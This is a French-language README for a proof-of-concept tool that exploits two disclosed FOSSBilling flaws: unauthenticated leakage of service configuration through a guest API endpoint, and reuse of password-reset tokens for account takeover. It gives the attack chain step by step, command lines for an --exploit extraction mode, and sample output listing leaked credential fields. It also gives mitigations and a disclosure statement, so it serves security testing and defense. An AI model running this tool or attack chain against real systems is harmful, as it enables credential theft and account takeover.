
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Divulgation de clé API non authentifiée & réutilisation de jeton de réinitialisation de mot de passe
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
fait par 7megaumka7
Outil PoC pour deux vulnérabilités acceptées dans le cadre du programme GitHub Security Advisory dans FOSSBilling ≤ 0.7.2
FOSKiller est un outil de preuve de concept démontrant deux vulnérabilités de sécurité dans FOSSBilling — une plateforme open-source de facturation et de gestion de clients. Les deux vulnérabilités ont été divulguées de manière responsable via le programme GitHub Security Advisory et sont entièrement corrigées dans FOSSBilling 0.7.3+.
L'outil est destiné à :
Le point de terminaison invité /api/guest/serviceapikey/get_info renvoie la configuration complète
du service — y compris les champs custom_*, les identifiants API, les noms d'hôtes et les mots de passe —
sans nécessiter d'authentification. Un attaquant qui connaît ou énumère une clé API valide
peut récupérer la configuration complète du service backend depuis un point de terminaison public.
Impact : Exposition des identifiants de service, noms d'hôtes internes, secrets API.
Lorsqu'un client déclenche deux réinitialisations de mot de passe consécutives pour le même compte, l'application émet un nouveau jeton mais n'invalide pas le précédent. Un attaquant qui a précédemment capturé le premier jeton peut l'utiliser pour définir un nouveau mot de passe même après que l'utilisateur légitime ait terminé son propre flux de réinitialisation.
Chaîne d'attaque :
1. L'attaquant déclenche POST /api/guest/client/reset_password → capture le jeton T1
2. La victime déclenche sa propre réinitialisation → l'application émet T2, T1 reste valide
3. L'attaquant appelle POST /api/guest/client/update_password?hash=T1 avec un mot de passe choisi
4. L'attaquant a un accès persistant indépendamment de l'achèvement de la réinitialisation de la victime
Impact : Prise de contrôle persistante de tout client dont l'email de réinitialisation est interceptable.
Si des dépendances sont manquantes, le script le détecte au démarrage et propose de les installer automatiquement.
Clonez et installez les dépendances :
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Ou exécutez sans pré-installation — le script demandera d'installer les paquets manquants lors de la première exécution.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only et --exploit sont mutuellement exclusifs.
Détection uniquement — vérifier les deux CVE sans extraire de données :
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Extraction complète et documentation de la chaîne d'attaque :
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Sauvegarder les résultats au format JSON et passer par Burp Suite :
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Tester une version inconnue ou déjà corrigée :
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication
Field Value
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [REDACTED IN THIS EXAMPLE]
custom_api_secret [REDACTED IN THIS EXAMPLE]
── CVE-2026-53646 │ Password Reset Token Reuse / Account Takeover ─────
[*] Sending reset request #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] Sending reset request #2 (same email) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] Time delta between requests : 0.643s
[!] Both reset requests succeeded — endpoint accepts repeated resets without rate-limiting.
── Summary ─────────────────────────────────────────────────────────────
CVE GHSA Severity Status
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq Moderate (CVSS 6.9) VULNERABLE
CVE-2026-53646 GHSA-vp66-w6rc-x32p High (CVSS 7.7) POTENTIALLY_VULNERABLE
Mettez à niveau vers FOSSBilling >= 0.7.3, qui corrige les deux vulnérabilités.
Si un correctif immédiat n'est pas possible :
| CVE | Atténuation provisoire |
|---|---|
| CVE-2026-53647 | Bloquer l'accès à /api/guest/serviceapikey/ au niveau du serveur web ou du WAF |
| CVE-2026-53646 | Implémenter l'invalidation du jeton lors de la réémission ; ajouter une limitation de débit au point de terminaison de réinitialisation |
Les deux vulnérabilités ont été signalées aux mainteneurs de FOSSBilling via le programme GitHub Security Advisory avant cette publication.
Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement.
Utilisez cet outil uniquement contre des systèmes que vous possédez ou pour lesquels vous avez reçu une autorisation écrite explicite de tester. Une utilisation non autorisée contre des systèmes tiers est illégale en vertu du Computer Fraud and Abuse Act (CFAA), du Computer Misuse Act et des législations équivalentes dans le monde entier.
L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou de conséquences juridiques découlant de l'utilisation de cet outil. En utilisant cet outil, vous acceptez d'être seul responsable de vos actions.
Chercheur et auteur : 7megaumka7
Découverte des vulnérabilités, analyse, divulgation responsable et développement de l'outil.
| Avis | CVE | Type | CVSS | Affecté |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Divulgation de configuration de clé API non authentifiée | 6.9 Modéré | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Réutilisation du jeton de réinitialisation de mot de passe → Prise de contrôle de compte | 7.7 Élevé | >= 0.5.6, <= 0.7.2 |
| Option | Requis | Description |
|---|
--target URL | Oui | URL de base de l'instance FOSSBilling |
--key KEY | Pour CVE-2026-53647 | Clé API à tester |
--email EMAIL | Pour CVE-2026-53646 | Email du client à tester |
--check-only | Non | Mode détection — confirme la vulnérabilité sans extraire de données |
--exploit | Non | Extraction complète + documentation de la chaîne d'attaque |
--force | Non | Ignore la vérification de la plage de versions |
--output FILE | Non | Sauvegarde les résultats complets dans un fichier JSON |
--timeout SEC | Non | Délai d'attente HTTP en secondes (défaut : 10) |
--proxy URL | Non | Proxy HTTP (ex. http://127.0.0.1:8080) |
| Mode | Option | Ce qu'il fait |
|---|
| Détection | --check-only | Confirme l'existence de la vulnérabilité. N'affiche ni n'extrait les valeurs sensibles. |
| Par défaut | (aucun indicateur de mode) | Confirme le statut et montre les preuves de base. |
| Exploitation | --exploit | Extrait tous les champs divulgués ; documente la chaîne complète de prise de contrôle de compte avec métadonnées temporelles. |